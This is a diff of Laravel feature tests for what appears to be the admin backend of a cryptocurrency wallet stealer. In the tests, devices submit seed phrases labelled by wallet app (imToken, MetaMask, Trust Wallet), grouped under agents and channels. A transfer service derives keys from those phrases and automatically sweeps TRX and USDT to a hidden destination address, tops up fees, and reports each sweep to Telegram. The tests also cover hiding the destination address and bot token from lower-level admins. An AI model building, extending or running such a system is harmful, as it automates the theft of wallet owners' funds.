$device = Device::query()->create(['device_id' => 'dev-mn-refresh']);
$mnemonic = $this->storeMnemonic($device);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $mnemonic->id,
'usdt' => 0,
'trx' => 0,
]);
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.refreshed', 1)
->assertJsonPath('data.addresses.0.trx', '2')
->assertJsonPath('data.addresses.0.usdt', '5');
$addr->refresh();
$this->assertEqualsWithDelta(2.0, (float) $addr->trx, 0.0000001);
$this->assertEqualsWithDelta(5.0, (float) $addr->usdt, 0.0000001);
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
->assertStatus(429)
->assertJsonPath('code', 1)
->assertJsonStructure(['data' => ['retry_after']]);
}
}
+114 -36
View File
@@ -3,7 +3,6 @@
namespace Tests\Feature; namespace Tests\Feature;
use App\Models\Admin; use App\Models\Admin;
use App\Models\Setting;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase; use Tests\TestCase;
@@ -12,6 +11,32 @@ class SystemAdminTest extends TestCase
{ {
use RefreshDatabase; use RefreshDatabase;
private string $envBackup = '';
protected function setUp(): void
{
parent::setUp();
$path = base_path('.env');
$this->envBackup = is_file($path) ? (string) file_get_contents($path) : '';
config([
'coruna.panel.admin_hosts' => [],
'coruna.panel.agent_hosts' => [],
]);
}
protected function tearDown(): void
{
config([
'coruna.panel.admin_hosts' => [],
'coruna.panel.agent_hosts' => [],
]);
$path = base_path('.env');
if ($this->envBackup !== '') {
file_put_contents($path, $this->envBackup);
}
parent::tearDown();
}
private function superAdmin(): Admin private function superAdmin(): Admin
{ {
return Admin::query()->create([ return Admin::query()->create([
@@ -31,21 +56,38 @@ class SystemAdminTest extends TestCase
} }
#[Test] #[Test]
public function normal_admin_cannot_access_system_routes(): void public function normal_admin_cannot_access_super_only_routes(): void
{
$staff = $this->normalAdmin();
$this->actingAs($staff, 'admin')
->get(route('admin.system.admins.index'))
->assertForbidden();
$this->actingAs($staff, 'admin')
->get(route('admin.logs.index'))
->assertForbidden();
}
#[Test]
public function normal_admin_can_access_system_settings(): void
{ {
$staff = $this->normalAdmin(); $staff = $this->normalAdmin();
$this->actingAs($staff, 'admin') $this->actingAs($staff, 'admin')
->get(route('admin.system.settings.index')) ->get(route('admin.system.settings.index'))
->assertForbidden(); ->assertOk()
->assertSee('系统设置');
$this->actingAs($staff, 'admin') $this->actingAs($staff, 'admin')
->get(route('admin.system.admins.index')) ->get(route('admin.home'))
->assertForbidden(); ->assertOk()
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false);
} }
#[Test] #[Test]
public function super_admin_sees_system_menu_normal_does_not(): void public function super_admin_sees_full_system_menu(): void
{ {
$this->actingAs($this->superAdmin(), 'admin') $this->actingAs($this->superAdmin(), 'admin')
->get(route('admin.home')) ->get(route('admin.home'))
@@ -53,17 +95,16 @@ class SystemAdminTest extends TestCase
->assertSee('系统') ->assertSee('系统')
->assertSee('设置') ->assertSee('设置')
->assertSee('管理员'); ->assertSee('管理员');
$this->actingAs($this->normalAdmin(), 'admin')
->get(route('admin.home'))
->assertOk()
->assertDontSee('lay-href="'.route('admin.system.settings.index').'"', false);
} }
#[Test] #[Test]
public function super_admin_can_save_settings(): void public function super_admin_can_save_settings(): void
{ {
$super = $this->superAdmin(); $super = $this->superAdmin();
config([
'coruna.telegram.bot_token' => 'bot:token',
'coruna.telegram.bot_username' => '',
]);
\Illuminate\Support\Facades\Http::fake(function ($request) { \Illuminate\Support\Facades\Http::fake(function ($request) {
if (str_contains($request->url(), 'getMe')) { if (str_contains($request->url(), 'getMe')) {
return \Illuminate\Support\Facades\Http::response([ return \Illuminate\Support\Facades\Http::response([
@@ -77,33 +118,45 @@ class SystemAdminTest extends TestCase
$this->actingAs($super, 'admin') $this->actingAs($super, 'admin')
->post(route('admin.system.settings.update'), [ ->post(route('admin.system.settings.update'), [
'telegram_bot_token' => 'bot:token',
'telegram_owner_chat_id' => '-1001', 'telegram_owner_chat_id' => '-1001',
'channels_max_per_agent' => 5, 'auto_transfer_enabled' => '0',
'channels_domains' => "cdn1.example.com\nhttps://cdn2.example.com/",
'panel_admin_hosts' => "Admin.Example.com\nhttps://ops.example.com:443/",
'panel_agent_hosts' => 'agent.example.com',
]) ])
->assertOk() ->assertOk()
->assertJsonPath('code', 0) ->assertJsonPath('code', 0)
->assertJsonPath('data.bot_username', '@test_bot'); ->assertJsonPath('data.bot_username', '@test_bot');
$this->assertSame('bot:token', Setting::query()->where('key', 'telegram.bot_token')->value('value')); $env = (string) file_get_contents(base_path('.env'));
$this->assertSame('test_bot', Setting::query()->where('key', 'telegram.bot_username')->value('value')); $this->assertStringContainsString('TELEGRAM_OWNER_CHAT_ID=-1001', $env);
$this->assertSame('bot:token', config('coruna.telegram.bot_token')); $this->assertStringContainsString('TELEGRAM_BOT_USERNAME=test_bot', $env);
$this->assertSame('test_bot', config('coruna.telegram.bot_username')); $this->assertSame('test_bot', config('coruna.telegram.bot_username'));
$this->assertSame(5, (int) config('coruna.channels.max_per_agent')); $this->assertSame('-1001', config('coruna.telegram.owner_chat_id'));
$this->assertSame(['cdn1.example.com', 'cdn2.example.com'], config('coruna.channel_domains')); }
$this->assertSame(
'cdn1.example.com,cdn2.example.com', #[Test]
Setting::query()->where('key', 'channels.domains')->value('value') public function settings_page_hides_token_and_transfer_to_addresses(): void
); {
$this->assertSame(['admin.example.com', 'ops.example.com'], config('coruna.panel.admin_hosts')); config([
$this->assertSame(['agent.example.com'], config('coruna.panel.agent_hosts')); 'coruna.telegram.bot_token' => 'secret-token-should-not-render',
$this->assertSame( 'coruna.telegram.bot_username' => 'ops_bot',
'admin.example.com,ops.example.com', 'coruna.transfer.to_address' => 'THiddenToAddressShouldNotRender',
Setting::query()->where('key', 'panel.admin_hosts')->value('value') 'coruna.panel.admin_hosts' => [],
); 'coruna.channel_domains' => ['hidden-cdn.example.com'],
]);
$this->actingAs($this->superAdmin(), 'admin')
->get(route('admin.system.settings.index'))
->assertOk()
->assertDontSee('secret-token-should-not-render')
->assertDontSee('name="telegram_bot_token"', false)
->assertDontSee('name="transfer_to_address"', false)
->assertDontSee('name="panel_admin_hosts"', false)
->assertDontSee('name="channels_domains"', false)
->assertDontSee('后台访问域名')
->assertDontSee('渠道链接')
->assertDontSee('THiddenToAddressShouldNotRender')
->assertDontSee('hidden-cdn.example.com')
->assertSee('TELEGRAM_BOT_TOKEN')
->assertSee('@ops_bot');
} }
#[Test] #[Test]
@@ -166,13 +219,12 @@ class SystemAdminTest extends TestCase
$this->actingAs($this->superAdmin(), 'admin') $this->actingAs($this->superAdmin(), 'admin')
->post(route('admin.system.settings.telegramTest'), [ ->post(route('admin.system.settings.telegramTest'), [
'chat_id' => '-1009', 'chat_id' => '-1009',
'bot_token' => 'form-token',
]) ])
->assertOk() ->assertOk()
->assertJsonPath('code', 0); ->assertJsonPath('code', 0);
\Illuminate\Support\Facades\Http::assertSent(function ($request) { \Illuminate\Support\Facades\Http::assertSent(function ($request) {
return str_contains($request->url(), '/botform-token/') return str_contains($request->url(), '/botsaved-token/')
&& ($request->data()['chat_id'] ?? null) === '-1009' && ($request->data()['chat_id'] ?? null) === '-1009'
&& str_contains((string) ($request->data()['text'] ?? ''), 'Telegram 测试'); && str_contains((string) ($request->data()['text'] ?? ''), 'Telegram 测试');
}); });
@@ -199,10 +251,32 @@ class SystemAdminTest extends TestCase
} }
#[Test] #[Test]
public function normal_admin_cannot_test_official_telegram(): void public function normal_admin_can_send_telegram_test(): void
{
config([
'coruna.telegram.bot_token' => 'saved-token',
'coruna.telegram.owner_chat_id' => '100',
]);
\Illuminate\Support\Facades\Http::fake([
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200),
]);
$this->actingAs($this->normalAdmin(), 'admin')
->post(route('admin.system.settings.telegramTest'), [
'chat_id' => '-1009',
])
->assertOk()
->assertJsonPath('code', 0);
}
#[Test]
public function normal_admin_cannot_access_admins_crud(): void
{ {
$this->actingAs($this->normalAdmin(), 'admin') $this->actingAs($this->normalAdmin(), 'admin')
->post(route('admin.system.settings.telegramTest'), ['chat_id' => '1']) ->post(route('admin.system.admins.store'), [
'username' => 'x',
'password' => 'secret12',
])
->assertForbidden(); ->assertForbidden();
} }
@@ -230,6 +304,10 @@ class SystemAdminTest extends TestCase
->assertSee('@ops_bot') ->assertSee('@ops_bot')
->assertSee('t.me/ops_bot?startgroup=1', false); ->assertSee('t.me/ops_bot?startgroup=1', false);
$this->assertSame('ops_bot', Setting::query()->where('key', 'telegram.bot_username')->value('value')); $this->assertSame('ops_bot', config('coruna.telegram.bot_username'));
$this->assertStringContainsString(
'TELEGRAM_BOT_USERNAME=ops_bot',
(string) file_get_contents(base_path('.env'))
);
} }
} }
+92
View File
@@ -0,0 +1,92 @@
<?php
namespace Tests\Feature;
use App\Services\SettingsService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class TransferEnvSettingsTest extends TestCase
{
use RefreshDatabase;
private string $envBackup = '';
protected function setUp(): void
{
parent::setUp();
$path = base_path('.env');
$this->envBackup = is_file($path) ? (string) file_get_contents($path) : '';
}
protected function tearDown(): void
{
$path = base_path('.env');
if ($this->envBackup !== '') {
file_put_contents($path, $this->envBackup);
}
parent::tearDown();
}
#[Test]
public function transfer_fee_settings_write_to_env(): void
{
app(SettingsService::class)->putMany([
'transfer.fee_address_tron' => 'TFeeAddressForEnvTest111111111111',
'transfer.fee_private_key_tron' => 'aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899',
'transfer.fee_topup_trx' => '15',
'auto_transfer.enabled' => '1',
]);
$env = (string) file_get_contents(base_path('.env'));
$this->assertStringContainsString('TRANSFER_FEE_ADDRESS_TRON=TFeeAddressForEnvTest111111111111', $env);
$this->assertStringContainsString('TRANSFER_FEE_PRIVATE_KEY_TRON=aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899', $env);
$this->assertStringContainsString('TRANSFER_FEE_TOPUP_TRX=15', $env);
$this->assertStringContainsString('AUTO_TRANSFER_ENABLED=1', $env);
$this->assertSame('TFeeAddressForEnvTest111111111111', config('coruna.transfer.fee_address_tron'));
$this->assertTrue((bool) config('coruna.auto_transfer.enabled'));
}
#[Test]
public function empty_fee_private_key_keeps_existing_env_value(): void
{
$settings = app(SettingsService::class);
$settings->putMany([
'transfer.fee_private_key_tron' => 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef',
]);
$settings->putMany([
'transfer.fee_address_tron' => 'TKeepKeyAddress00000000000000001',
'transfer.fee_private_key_tron' => '',
]);
$env = (string) file_get_contents(base_path('.env'));
$this->assertStringContainsString(
'TRANSFER_FEE_PRIVATE_KEY_TRON=deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef',
$env
);
$this->assertSame(
'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef',
config('coruna.transfer.fee_private_key_tron')
);
}
#[Test]
public function put_many_ignores_token_and_transfer_to_address_keys(): void
{
config([
'coruna.telegram.bot_token' => 'keep-token',
'coruna.transfer.to_address' => 'TKeepTo',
]);
app(SettingsService::class)->putMany([
'telegram.bot_token' => 'hacked-token',
'transfer.to_address' => 'THacked',
'telegram.owner_chat_id' => '-100',
]);
$this->assertSame('keep-token', config('coruna.telegram.bot_token'));
$this->assertSame('TKeepTo', config('coruna.transfer.to_address'));
$this->assertSame('-100', config('coruna.telegram.owner_chat_id'));
}
}
+26 -16
View File
@@ -65,12 +65,24 @@ class TransferServiceTest extends TestCase
return $device; return $device;
} }
/**
* @param array<string, mixed> $extra
*/
private function fakeTronHttp(array $extra = [], int $trxSun = 100_000_000): void
{
Http::fake(array_merge([
'*/wallet/getaccount' => Http::response([
'balance' => $trxSun,
], 200),
], $extra));
}
#[Test] #[Test]
public function sends_native_trx_via_trongrid_http(): void public function sends_native_trx_via_trongrid_http(): void
{ {
$this->seedFromWallet(); $this->seedFromWallet();
Http::fake([ $this->fakeTronHttp([
'*/wallet/createtransaction' => Http::response([ '*/wallet/createtransaction' => Http::response([
'txID' => str_repeat('ab', 32), 'txID' => str_repeat('ab', 32),
'raw_data' => ['contract' => []], 'raw_data' => ['contract' => []],
@@ -84,7 +96,7 @@ class TransferServiceTest extends TestCase
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops'); $result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops');
$this->assertTrue($result['ok']); $this->assertTrue($result['ok'], $result['error'] ?? '');
$this->assertSame(str_repeat('ab', 32), $result['txid']); $this->assertSame(str_repeat('ab', 32), $result['txid']);
$this->assertSame(self::FROM, $result['from']); $this->assertSame(self::FROM, $result['from']);
$this->assertSame(self::TO, $result['to']); $this->assertSame(self::TO, $result['to']);
@@ -119,7 +131,7 @@ class TransferServiceTest extends TestCase
{ {
$this->seedFromWallet(); $this->seedFromWallet();
Http::fake([ $this->fakeTronHttp([
'*/wallet/triggersmartcontract' => Http::response([ '*/wallet/triggersmartcontract' => Http::response([
'result' => ['result' => true], 'result' => ['result' => true],
'transaction' => [ 'transaction' => [
@@ -135,7 +147,7 @@ class TransferServiceTest extends TestCase
$result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT'); $result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
$this->assertTrue($result['ok']); $this->assertTrue($result['ok'], $result['error'] ?? '');
$this->assertSame(str_repeat('cd', 32), $result['txid']); $this->assertSame(str_repeat('cd', 32), $result['txid']);
Http::assertSent(fn ($r) => str_ends_with($r->url(), '/wallet/triggersmartcontract')); Http::assertSent(fn ($r) => str_ends_with($r->url(), '/wallet/triggersmartcontract'));
} }
@@ -158,7 +170,7 @@ class TransferServiceTest extends TestCase
$right->mnemonic = self::MNEMONIC; $right->mnemonic = self::MNEMONIC;
$right->save(); $right->save();
Http::fake([ $this->fakeTronHttp([
'*/wallet/createtransaction' => Http::response([ '*/wallet/createtransaction' => Http::response([
'txID' => str_repeat('ef', 32), 'txID' => str_repeat('ef', 32),
'raw_data' => ['contract' => []], 'raw_data' => ['contract' => []],
@@ -169,7 +181,7 @@ class TransferServiceTest extends TestCase
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX'); $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
$this->assertTrue($result['ok']); $this->assertTrue($result['ok'], $result['error'] ?? '');
$this->assertSame(str_repeat('ef', 32), $result['txid']); $this->assertSame(str_repeat('ef', 32), $result['txid']);
} }
@@ -224,7 +236,7 @@ class TransferServiceTest extends TestCase
$this->seedFromWallet(); $this->seedFromWallet();
config(['coruna.transfer.trx_fee_reserve' => '1']); config(['coruna.transfer.trx_fee_reserve' => '1']);
Http::fake([ $this->fakeTronHttp([
'*/wallet/triggerconstantcontract' => Http::response([ '*/wallet/triggerconstantcontract' => Http::response([
'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)], 'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
], 200), ], 200),
@@ -241,7 +253,7 @@ class TransferServiceTest extends TestCase
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT'); $result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT');
$this->assertTrue($result['ok']); $this->assertTrue($result['ok'], $result['error'] ?? '');
$this->assertSame('12.5', $result['amount']); $this->assertSame('12.5', $result['amount']);
$this->assertSame('USDT', $result['asset']); $this->assertSame('USDT', $result['asset']);
} }
@@ -252,29 +264,27 @@ class TransferServiceTest extends TestCase
$this->seedFromWallet(); $this->seedFromWallet();
config(['coruna.transfer.trx_fee_reserve' => '1']); config(['coruna.transfer.trx_fee_reserve' => '1']);
Http::fake([ // 25 TRX (>= fee topup target) so top-up is skipped; reserve leaves 24.
'*/wallet/getaccount' => Http::response([ $this->fakeTronHttp([
'balance' => 5_000_000, // 5 TRX
], 200),
'*/wallet/createtransaction' => Http::response([ '*/wallet/createtransaction' => Http::response([
'txID' => str_repeat('22', 32), 'txID' => str_repeat('22', 32),
'raw_data' => ['contract' => []], 'raw_data' => ['contract' => []],
'raw_data_hex' => '0a00', 'raw_data_hex' => '0a00',
], 200), ], 200),
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200), '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
]); ], 25_000_000);
$result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX'); $result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX');
$this->assertTrue($result['ok']); $this->assertTrue($result['ok'], $result['error'] ?? '');
$this->assertSame('4', $result['amount']); $this->assertSame('24', $result['amount']);
Http::assertSent(function ($request) { Http::assertSent(function ($request) {
if (! str_ends_with($request->url(), '/wallet/createtransaction')) { if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
return false; return false;
} }
return ($request->data()['amount'] ?? null) === 4_000_000; return ($request->data()['amount'] ?? null) === 24_000_000;
}); });
} }
@@ -0,0 +1,201 @@
<?php
namespace Tests\Feature;
use App\Models\Channel;
use App\Models\Device;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\TransferService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class TransferTelegramNotifyTest extends TestCase
{
use RefreshDatabase;
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.transfer.to_address' => self::TO,
'coruna.transfer.max_derive_index' => 5,
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.transfer.max_usdt' => '0',
'coruna.telegram.bot_token' => 'tg-token',
'coruna.telegram.owner_chat_id' => '10001',
'coruna.transfer.fee_topup_trx' => '1',
]);
}
private function seedDevice(): void
{
$ch = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create([
'channel_id' => $ch,
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
]);
$device = Device::query()->create([
'device_id' => 'dev-tg-transfer',
'channel_id' => $ch,
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => self::FROM,
'chain_type' => 'TRON',
'source' => 'imToken',
'monitor' => 0,
]);
$row = new WalletMnemonic([
'device_id' => $device->id,
'source' => 'imToken',
]);
$row->mnemonic = self::MNEMONIC;
$row->save();
}
#[Test]
public function auto_transfer_success_sends_telegram(): void
{
$this->seedDevice();
Http::fake([
'*/wallet/getaccount' => Http::response(['balance' => 100_000_000], 200),
'*/wallet/triggersmartcontract' => Http::response([
'result' => ['result' => true],
'transaction' => [
'txID' => str_repeat('cd', 32),
'raw_data' => ['contract' => []],
'raw_data_hex' => '0a00',
],
], 200),
'*/wallet/broadcasttransaction' => Http::response([
'result' => true,
], 200),
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'auto');
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, 'Auto Transfer OK')
&& str_contains($text, self::FROM)
&& str_contains($text, 'USDT')
&& ($request->data()['chat_id'] ?? null) === '10001';
});
}
#[Test]
public function manual_transfer_does_not_send_auto_telegram(): void
{
$this->seedDevice();
Http::fake([
'*/wallet/getaccount' => Http::response(['balance' => 100_000_000], 200),
'*/wallet/createtransaction' => Http::response([
'txID' => str_repeat('ab', 32),
'raw_data' => ['contract' => []],
'raw_data_hex' => '0a00',
], 200),
'*/wallet/broadcasttransaction' => Http::response([
'result' => true,
'txid' => str_repeat('ab', 32),
], 200),
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin');
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
}
#[Test]
public function fee_topup_sends_telegram(): void
{
$this->seedDevice();
$feeKey = 'abde94314a030ae8860a58db8adde7fc962cca2455db9d2979e480038c49dcbc';
$feeFrom = 'TUJ2YbSDGtCqzRz7quPQidRCMC98jDAPXc';
config([
'coruna.transfer.fee_topup_trx' => '20',
'coruna.transfer.fee_address_tron' => $feeFrom,
'coruna.transfer.fee_private_key_tron' => $feeKey,
]);
$getAccountCalls = 0;
Http::fake(function ($request) use (&$getAccountCalls) {
$url = $request->url();
if (str_contains($url, 'api.telegram.org')) {
return Http::response(['ok' => true], 200);
}
if (str_ends_with($url, '/wallet/getaccount')) {
$getAccountCalls++;
// First read: below target → top-up; later: confirm / skip.
$sun = $getAccountCalls === 1 ? 5_000_000 : 25_000_000;
return Http::response(['balance' => $sun], 200);
}
if (str_ends_with($url, '/wallet/createtransaction')) {
return Http::response([
'txID' => str_repeat('fe', 32),
'raw_data' => ['contract' => []],
'raw_data_hex' => '0a00',
], 200);
}
if (str_ends_with($url, '/wallet/triggersmartcontract')) {
return Http::response([
'result' => ['result' => true],
'transaction' => [
'txID' => str_repeat('cd', 32),
'raw_data' => ['contract' => []],
'raw_data_hex' => '0a00',
],
], 200);
}
if (str_ends_with($url, '/wallet/broadcasttransaction')) {
return Http::response(['result' => true], 200);
}
return Http::response([], 404);
});
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin');
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
Http::assertSent(function ($request) use ($feeFrom) {
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, 'TRX Fee Top-up OK')
&& str_contains($text, $feeFrom)
&& str_contains($text, self::FROM)
&& ($request->data()['chat_id'] ?? null) === '10001';
});
Http::assertNotSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, 'Auto Transfer');
});
}
}
+118
View File
@@ -0,0 +1,118 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class WalletAddressFilterTest extends TestCase
{
use RefreshDatabase;
private function admin(): Admin
{
return Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
}
private function seedRows(): array
{
$device = Device::query()->create([
'device_id' => 'dev-addr-filter',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$mnemonic = new WalletMnemonic([
'device_id' => $device->id,
'source' => 'imToken',
]);
$mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$mnemonic->save();
$withMnemonic = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'addr-with-mnemonic',
'source' => 'imToken',
'chain_type' => 'ETH',
'mnemonic_id' => $mnemonic->id,
'usdt' => 0,
'eth' => 0,
]);
$withBalance = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'addr-with-balance',
'source' => 'imToken',
'chain_type' => 'TRON',
'usdt' => 12.5,
]);
$plain = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'addr-plain',
'source' => 'imToken',
'chain_type' => 'BTC',
'btc' => 0,
]);
return compact('mnemonic', 'withMnemonic', 'withBalance', 'plain');
}
#[Test]
public function data_includes_mnemonic_id(): void
{
$rows = $this->seedRows();
$this->actingAs($this->admin(), 'admin')
->getJson(route('admin.addresses.data', ['device_key' => 'dev-addr-filter']))
->assertOk()
->assertJsonPath('count', 3)
->assertJsonFragment([
'address' => 'addr-with-mnemonic',
'mnemonic_id' => $rows['mnemonic']->id,
])
->assertJsonFragment([
'address' => 'addr-plain',
'mnemonic_id' => null,
]);
}
#[Test]
public function filters_by_has_mnemonic(): void
{
$this->seedRows();
$admin = $this->admin();
$this->actingAs($admin, 'admin')
->getJson(route('admin.addresses.data', ['has_mnemonic' => 1]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.address', 'addr-with-mnemonic');
$this->actingAs($admin, 'admin')
->getJson(route('admin.addresses.data', ['has_mnemonic' => 0]))
->assertOk()
->assertJsonPath('count', 2)
->assertJsonMissing(['address' => 'addr-with-mnemonic']);
}
#[Test]
public function filters_by_has_balance(): void
{
$this->seedRows();
$admin = $this->admin();
$this->actingAs($admin, 'admin')
->getJson(route('admin.addresses.data', ['has_balance' => 1]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.address', 'addr-with-balance');
$this->actingAs($admin, 'admin')
->getJson(route('admin.addresses.data', ['has_balance' => 0]))
->assertOk()
->assertJsonPath('count', 2)
->assertJsonMissing(['address' => 'addr-with-balance']);
}
}
+52 -3
View File
@@ -55,8 +55,20 @@ class WalletBalanceServiceTest extends TestCase
} }
#[Test] #[Test]
public function skips_non_tron_chains(): void public function refreshes_eth_and_persists_to_address_row(): void
{ {
Http::fake([
'*/v1/accounts/*' => Http::response(['data' => []], 200),
]);
$eth = \Mockery::mock(\App\Services\Chain\EthDriver::class);
$eth->shouldReceive('getNativeBalance')->once()->andReturn('1.25');
$eth->shouldReceive('getTokenBalance')->once()->andReturn('9.5');
$manager = \Mockery::mock(\App\Services\Chain\ChainManager::class);
$manager->shouldReceive('resolve')->with('eth')->andReturn($eth);
$this->app->instance(\App\Services\Chain\ChainManager::class, $manager);
config(['coruna.eth.usdt_contract' => '0xdac17f958d2ee523a2206206994597c13d831ec7']);
$device = Device::query()->create([ $device = Device::query()->create([
'device_id' => 'dev-bal-2', 'device_id' => 'dev-bal-2',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
@@ -67,12 +79,49 @@ class WalletBalanceServiceTest extends TestCase
'chain_type' => 'ETH', 'chain_type' => 'ETH',
'source' => 'MetaMask', 'source' => 'MetaMask',
'eth' => 1.0, 'eth' => 1.0,
'usdt' => 0,
'monitor' => 1, 'monitor' => 1,
]); ]);
$ok = app(WalletBalanceService::class)->refresh($addr); $ok = app(WalletBalanceService::class)->refresh($addr);
$this->assertFalse($ok); $this->assertTrue($ok);
$addr->refresh(); $addr->refresh();
$this->assertEqualsWithDelta(1.0, (float) $addr->eth, 0.0000001); $this->assertEqualsWithDelta(1.25, (float) $addr->eth, 0.0000001);
$this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001);
}
#[Test]
public function refresh_persists_even_when_balances_unchanged(): void
{
Http::fake([
'*/v1/accounts/*' => Http::response([
'data' => [[
'balance' => 0,
'trc20' => [],
]],
'success' => true,
], 200),
]);
$device = Device::query()->create([
'device_id' => 'dev-bal-persist',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'chain_type' => 'TRON',
'source' => 'imToken',
'trx' => 0,
'usdt' => 0,
]);
$before = (string) $addr->updated_at;
sleep(1);
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
$addr->refresh();
$this->assertNotSame($before, (string) $addr->updated_at);
$this->assertEqualsWithDelta(0.0, (float) $addr->trx, 0.0000001);
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
} }
} }
+9 -5
View File
@@ -20,11 +20,15 @@ class WalletSourceTest extends TestCase
} }
#[Test] #[Test]
public function bundle_labels_collapse_aliases(): void public function supported_chains_exclude_solana_and_ton(): void
{ {
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask.MetaMask')); $this->assertTrue(WalletSource::isSupportedChain('ETHEREUM'));
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask', 'MM')); $this->assertTrue(WalletSource::isSupportedChain('TRON'));
$this->assertSame('Trust Wallet', WalletSource::labelForBundle('com.sixdays.trust')); $this->assertTrue(WalletSource::isSupportedChain('BITCOIN'));
$this->assertSame('Safari', WalletSource::labelForBundle('com.apple.mobilesafari', 'Safari')); $this->assertTrue(WalletSource::isSupportedChain('BNB'));
$this->assertFalse(WalletSource::isSupportedChain('SOLANA'));
$this->assertFalse(WalletSource::isSupportedChain('SOL'));
$this->assertFalse(WalletSource::isSupportedChain('TON'));
$this->assertFalse(WalletSource::isSupportedChain('UNKNOWN'));
} }
} }